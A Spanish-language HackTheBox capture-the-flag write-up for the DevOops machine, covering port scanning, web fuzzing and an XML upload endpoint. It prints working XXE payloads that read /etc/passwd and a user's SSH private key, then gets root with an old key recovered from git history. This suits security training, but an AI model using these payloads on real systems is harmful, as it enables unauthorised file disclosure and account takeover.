DevOops - HackTheBox

·

3 min read

DevOops - HackTheBox

Máquina Linux de nivel medium en la que explotaremos la vulnerabilidad XXE para leer archivos generando un archivo .xml y escalaremos privilegios a través de un rsa.

HTBadge


Reconocimiento

Reconocimiento de Puertos

Para comenzar lanzo la herramienta WhichSystem para identificar ante que sistema operativo nos enfrentamos.

Ya se que estamos ante una máquina Linux, así que a continuación escanearé los puertos existentes en la máquina.

PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Tenemos el puerto 22(ssh) y el puerto 5000 (upnp).

Pero necesito más información del puerto 5000 por lo que escanearé los puertos de forma más avanzada.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
|   256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_  256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open  http    Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ahora ya tenemos algo más de información, así que procedo a enumerar el servidor web.


Enumeración Web📌

Accedo desde el navegador al servidor web.

Parece que el sitio está en desarrollo, pero no hay nada interesante, así que voy a fuzzear rutas.

Usaré la herramienta wfuzz para enumerar rutas en el servidor web.

wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.91:5000/FUZZ --hl=4

  • upload

  • feed

En la ruta feed no hay nada que pueda servirme.

Pero en la ruta upload hay un panel de subida de archivos


Explotación

Burpsuite🔥

Pruebo a subir una reverse shell en php y capturar la petición con Burpsuite.

Pero no ocurre nada, aunque si nos fijamos en el servidor web veremos esto.

XML elements: Author, Subject, Content

Debemos subir un archivo XML que contenga los campos Author, Subject y Content.

Si hablamos de XML... se me ocurre XXE, así que buscaré información sobre la vulnerabilidad XXE.

Buscando encuentro información en la web de OWASP.

https://owasp.org/www-community/vulnerabilities

La sintaxis del archivo será la siguiente,añadiremos los campos Author, Subject y añadiremos el campo Content.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
  <Author>&xxe;</Author>
  <Subject>mysub</Subject>
  <Content>mycontent</Content>
</creds>

Subimos el archivo y capturamos la petición con Burp.
Enviamos la petición al Repeater y la enviamos haciendo click en send.

Y como vemos tenemos el archivo passwd para leer.

Encuentro varios usuarios:

git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash

El más destacable es roosa, así que igual que he leído el archivo passwd intento leer el archivo id_rsa del usuario roosa para poder conectarme por ssh.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id-rsa" >]>
<creds>
  <Author>&xxe;</Author>
  <Subject>mysub</Subject>
  <Content>mycontent</Content>
</creds>

Y ahí lo tenemos, asique me lo copio a un archivo y le asigno los permisos con chmod 400 id_rsa.

Una vez hecho, me conecto por ssh.

Y ya podemos leer la flag user.txt.


Escalada de Privilegios

Git👽

Ahora toca escalar privilegios para leer la flag root, pero para eso debemos convertirnos en el usuario root.

Enumerando encuentro carpeta .git en la ruta /home/roosa/work/blogfeed/.git así que pruebo con el comando git log -r a ver que obtenemos.
El comando git log muestra todas las commits en el historial del repositorio.

Reverted accidental commit with proper key

Dato curioso que decido mirar, así que si ejecuto git log -p 6

Tenemos dos claves rsa, una en rojo y la otra en verde, creo que debido a un error revirtieron las claves rsa, por lo tanto la roja es la clave antigua así que pruebo a copiarla y usarla para conectarme por ssh como root.

Una vez lo tenemos copiado en un archivo le asignamos los permisos con chmod 600 id_rsa2 y nos logueamos por ssh como root.

Y ya hemos pwneado la máquina DevOops👨🏻‍💻.